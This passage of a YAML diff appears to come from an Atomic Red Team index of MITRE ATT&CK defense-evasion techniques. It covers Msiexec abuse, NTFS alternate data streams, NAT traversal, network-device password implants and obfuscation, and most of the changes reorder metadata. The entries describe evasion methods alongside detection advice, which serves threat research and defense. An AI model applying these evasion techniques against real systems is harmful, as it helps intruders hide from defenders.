         Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)
-      name: Msiexec
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.007
-        url: https://attack.mitre.org/techniques/T1218/007
-      - source_name: Microsoft msiexec
-        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec
-        description: Microsoft. (2017, October 15). msiexec. Retrieved January 24,
-          2020.
-      - description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.
-        url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
-        source_name: LOLBAS Msiexec
-      - source_name: TrendMicro Msiexec Feb 2018
-        url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
-        description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows
-          Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.
-      - source_name: Microsoft AlwaysInstallElevated 2018
-        url: https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated
-        description: Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December
-          14, 2020.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-12-14T18:40:45.170Z'
-      created: '2020-01-24T14:38:49.266Z'
       x_mitre_contributors:
+      - Ziv Kaspersky, Cymptom
       - Alexandros Pappas
-      x_mitre_platforms:
-      - Windows
       x_mitre_detection: Use process monitoring to monitor the execution and arguments
         of msiexec.exe. Compare recent invocations of msiexec.exe with prior history
         of known good arguments and executed MSI files or DLLs to determine anomalous
         and potentially adversarial activity. Command arguments used before and after
         the invocation of msiexec.exe may also be useful in determining the origin
         and purpose of the MSI files or DLLs being executed.
-      x_mitre_defense_bypassed:
-      - Digital Certificate Validation
-      - Application control
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
-      - 'Network Traffic: Network Connection Creation'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/007
+        external_id: T1218.007
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec
+        description: Microsoft. (2017, October 15). msiexec. Retrieved January 24,
+          2020.
+        source_name: Microsoft msiexec
+      - source_name: LOLBAS Msiexec
+        description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.
+        url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
+      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
+        description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows
+          Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.
+        source_name: TrendMicro Msiexec Feb 2018
+      - url: https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated
+        description: Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December
+          14, 2020.
+        source_name: Microsoft AlwaysInstallElevated 2018
       identifier: T1218.007
     atomic_tests:
     - name: Msiexec.exe - Execute Local MSI file
@@ -32903,85 +33828,85 @@ defense-evasion:
         name: command_prompt
   T1564.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: NTFS File Attributes
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1564/004
         external_id: T1564.004
-        url: https://attack.mitre.org/techniques/T1564/004
-      - url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
+        source_name: mitre-attack
+      - source_name: SpectorOps Host-Based Jul 2017
         description: Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator
           Design. Retrieved March 21, 2018.
-        source_name: SpectorOps Host-Based Jul 2017
-      - url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
+        url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
+      - source_name: Microsoft NTFS File Attributes Aug 2010
         description: Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved
           March 21, 2018.
-        source_name: Microsoft NTFS File Attributes Aug 2010
-      - url: http://msdn.microsoft.com/en-us/library/aa364404
+        url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
+      - source_name: Microsoft File Streams
         description: Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.
-        source_name: Microsoft File Streams
-      - url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
+        url: http://msdn.microsoft.com/en-us/library/aa364404
+      - source_name: MalwareBytes ADS July 2015
         description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams.
           Retrieved March 21, 2018.
-        source_name: MalwareBytes ADS July 2015
-      - url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
+        url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
+      - source_name: Microsoft ADS Mar 2014
         description: Marlin, J. (2013, March 24). Alternate Data Streams in NTFS.
           Retrieved March 21, 2018.
-        source_name: Microsoft ADS Mar 2014
-      - url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
+        url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
+      - source_name: Journey into IR ZeroAccess NTFS EA
         description: Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS
           Extended Attributes. Retrieved June 3, 2016.
-        source_name: Journey into IR ZeroAccess NTFS EA
-      - url: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+        url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
+      - source_name: Oddvar Moe ADS1 Jan 2018
         description: Moe, O. (2018, January 14). Putting Data in Alternate Data Streams
           and How to Execute It. Retrieved June 30, 2018.
-        source_name: Oddvar Moe ADS1 Jan 2018
-      - url: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
+        url: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+      - source_name: Oddvar Moe ADS2 Apr 2018
         description: Moe, O. (2018, April 11). Putting Data in Alternate Data Streams
           and How to Execute It - Part 2. Retrieved June 30, 2018.
-        source_name: Oddvar Moe ADS2 Apr 2018
-      - url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore
+        url: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
+      - source_name: Symantec ADS May 2009
         description: Pravs. (2009, May 25). What you need to know about alternate
           data streams in windows? Is your Data secure? Can you restore that?. Retrieved
           March 21, 2018.
-        source_name: Symantec ADS May 2009
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: NTFS File Attributes
-      description: |-
-        Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
-
-        Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
-      id: attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5
-      type: attack-pattern
+        url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'File: File Metadata'
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T22:46:56.308Z'
+      x_mitre_system_requirements:
+      - NTFS partitioned hard drive
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-29T22:46:56.308Z'
-      created: '2020-03-13T20:33:00.009Z'
-      x_mitre_contributors:
-      - Oddvar Moe, @oddvarmoe
-      - Red Canary
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - NTFS partitioned hard drive
       x_mitre_defense_bypassed:
       - Anti-virus
       - Host forensic analysis
       - Signature-based detection
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5
+      description: |-
+        Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
+
+        Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
+      x_mitre_contributors:
+      - Oddvar Moe, @oddvarmoe
+      - Red Canary
       x_mitre_detection: |-
         Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the <code>ZwSetEaFile</code> and <code>ZwQueryEaFile</code> Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)
 
         There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.
 
         The Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'File: File Metadata'
-      - 'File: File Modification'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Windows
+      created: '2020-03-13T20:33:00.009Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1564.004
     atomic_tests:
     - name: Alternate Data Streams (ADS)
@@ -33103,12 +34028,19 @@ defense-evasion:
         name: powershell
   T1599.001:
     technique:
-      created: '2020-10-19T16:48:08.241Z'
-      modified: '2020-10-21T01:45:58.951Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
       type: attack-pattern
+      modified: '2020-10-21T01:45:58.951Z'
+      name: Network Address Translation Traversal
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-10-19T16:48:08.241Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
       id: attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de
       description: "Adversaries may bridge network boundaries by modifying a network
         device’s Network Address Translation (NAT) configuration. Malicious modifications
@@ -33132,40 +34064,43 @@ defense-evasion:
         more challenging for defenders.  \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001)
         to change the operating system of a network device, implementing their own
         custom NAT mechanisms to further obscure their activities"
-      name: Network Address Translation Traversal
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1599.001
-        url: https://attack.mitre.org/techniques/T1599/001
-      - source_name: RFC1918
-        url: https://tools.ietf.org/html/rfc1918
-        description: IETF Network Working Group. (1996, February). Address Allocation
-          for Private Internets. Retrieved October 20, 2020.
-      x_mitre_platforms:
-      - Network
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: |-
         Consider monitoring network traffic on both interfaces of border network devices.  Compare packets transmitted by the device between networks to look for signs of NAT being implemented.  Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3.  In some cases, Port Address Translation (PAT) may also be used by an adversary.
 
         Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1599/001
+        external_id: T1599.001
+        source_name: mitre-attack
+      - url: https://tools.ietf.org/html/rfc1918
+        description: IETF Network Working Group. (1996, February). Address Allocation
+          for Private Internets. Retrieved October 20, 2020.
+        source_name: RFC1918
     atomic_tests: []
   T1599:
     technique:
-      created: '2020-10-19T16:08:29.817Z'
-      modified: '2020-10-21T01:45:59.246Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
       type: attack-pattern
+      modified: '2020-10-21T01:45:59.246Z'
+      name: Network Boundary Bridging
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-10-19T16:08:29.817Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_defense_bypassed:
+      - Router ACL
+      - Firewall
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: false
       id: attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166
       description: |-
         Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.
@@ -33173,59 +34108,42 @@ defense-evasion:
         Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.  They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.  Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.  To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.
 
         When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.  By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001).  In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.
-      name: Network Boundary Bridging
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1599
-        url: https://attack.mitre.org/techniques/T1599
-      x_mitre_platforms:
-      - Network
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: |-
         Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question.  Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.
 
         Monitor the border network device’s configuration to validate that the policy enforcement sections are what was intended.  Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.
-      x_mitre_defense_bypassed:
-      - Router ACL
-      - Firewall
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1599
+        external_id: T1599
+        source_name: mitre-attack
     atomic_tests: []
   T1556.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.004
-        url: https://attack.mitre.org/techniques/T1556/004
-      - source_name: FireEye - Synful Knock
-        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
-        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
-          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Image File Verification. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      name: Network Device Authentication
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-04-20T20:11:00.356Z'
+      created: '2020-10-19T17:58:04.155Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
       description: |-
         Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.
 
         [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)
-      name: Network Device Authentication
-      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
@@ -33233,34 +34151,60 @@ defense-evasion:
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-20T20:11:00.356Z'
-      created: '2020-10-19T17:58:04.155Z'
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)
 
         Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/004
+        external_id: T1556.004
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
+        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
+          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
+        source_name: FireEye - Synful Knock
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Image File Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Image File Verification
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
     atomic_tests: []
   T1070.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1070.005
-        url: https://attack.mitre.org/techniques/T1070/005
-      - url: https://technet.microsoft.com/bb490717.aspx
-        description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.
-        source_name: Technet Net Use
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Network Share Connection Removal
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1070/005
+        external_id: T1070.005
+        source_name: mitre-attack
+      - source_name: Technet Net Use
+        description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.
+        url: https://technet.microsoft.com/bb490717.aspx
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Network Traffic: Network Traffic Content'
+      - 'User Account: User Account Authentication'
+      x_mitre_version: '1.0'
+      modified: '2021-02-09T13:31:01.970Z'
+      x_mitre_system_requirements:
+      - Established network share connection to a remote system. Level of access depends
+        on permissions of the account used.
+      id: attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c
+      x_mitre_defense_bypassed:
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: 'Adversaries may remove share connections that are no longer useful
         in order to clean up traces of their operation. Windows shared drive and [SMB/Windows
         Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can
@@ -33268,23 +34212,9 @@ defense-evasion:
         is an example utility that can be used to remove network share connections
         with the <code>net use \\system\share /delete</code> command. (Citation: Technet
         Net Use)'
-      id: attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-02-09T13:31:01.970Z'
-      created: '2020-01-31T12:39:18.816Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - Established network share connection to a remote system. Level of access depends
-        on permissions of the account used.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_defense_bypassed:
-      - Host forensic analysis
       x_mitre_detection: Network share connections may be common depending on how
         an network environment is used. Monitor command-line invocation of <code>net
         use</code> commands associated with establishing and removing remote shares
@@ -33295,13 +34225,8 @@ defense-evasion:
         determining when authenticated network shares are established and by which
         account, and can be used to correlate network share activity to other events
         to investigate potentially malicious activity.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Network Traffic: Network Traffic Content'
-      - 'User Account: User Account Authentication'
-      x_mitre_platforms:
-      - Windows
+      created: '2020-01-31T12:39:18.816Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1070.005
     atomic_tests:
     - name: Add Network Share
@@ -33396,48 +34321,32 @@ defense-evasion:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1027
-        url: https://attack.mitre.org/techniques/T1027
-      - external_id: CAPEC-267
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/267.html
-      - url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
-        description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election
-          Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January
-          11, 2017.'
-        source_name: Volexity PowerDuke November 2016
-      - url: https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
-        description: 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache
-          backdoor being used in the wild to serve Blackhole. Retrieved September
-          10, 2017.'
-        source_name: Linux/Cdorked.A We Live Security Analysis
-      - url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
-        description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved
-          February 12, 2018.
-        source_name: Carbon Black Obfuscation Sept 2016
-      - url: https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
-        description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild:
-          Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February
-          12, 2018.'
-        source_name: FireEye Obfuscation June 2017
-      - url: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf
-        description: 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation:
-          PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.'
-        source_name: FireEye Revoke-Obfuscation July 2017
-      - url: https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
-        description: White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand
-          PowerShell Attacks. Retrieved February 12, 2018.
-        source_name: PaloAlto EncodedCommand March 2017
-      - url: https://github.com/danielbohannon/Revoke-Obfuscation
-        description: Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February
-          12, 2018.
-        source_name: GitHub Revoke-Obfuscation
-      - url: https://github.com/itsreallynick/office-crackros
-        description: Carr, N. (2016, August 14). OfficeCrackros. Retrieved February
-          12, 2018.
-        source_name: GitHub Office-Crackros Aug 2016
+      type: attack-pattern
+      name: Obfuscated Files or Information
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'File: File Metadata'
+      - 'File: File Creation'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-20T16:33:13.472Z'
+      created: '2017-05-31T21:30:32.662Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_defense_bypassed:
+      - Host forensic analysis
+      - Signature-based detection
+      - Host intrusion prevention systems
+      - Application control
+      - Log analysis
+      - Application control by file name or path
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a
       description: "Adversaries may attempt to make an executable or file difficult
         to discover or analyze by encrypting, encoding, or otherwise obfuscating its
         contents on the system or in transit. This is common behavior that can be
@@ -33460,34 +34369,9 @@ defense-evasion:
         semantics can be used to evade signature based detections and application
         control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye
         Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) "
-      name: Obfuscated Files or Information
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-24T13:19:18.594Z'
-      created: '2017-05-31T21:30:32.662Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
       x_mitre_contributors:
       - Red Canary
       - Christiaan Beek, @ChristiaanBeek
-      x_mitre_data_sources:
-      - 'File: File Content'
-      - 'File: File Metadata'
-      - 'File: File Creation'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Command: Command Execution'
-      x_mitre_defense_bypassed:
-      - Host forensic analysis
-      - Signature-based detection
-      - Host intrusion prevention systems
-      - Application control
-      - Log analysis
-      - Application control by file name or path
       x_mitre_detection: "Detection of file obfuscation is difficult unless artifacts
         are left behind by the obfuscation process that are uniquely detectable with
         a signature. If detection of the obfuscation itself is not possible, it may
@@ -33513,10 +34397,49 @@ defense-evasion:
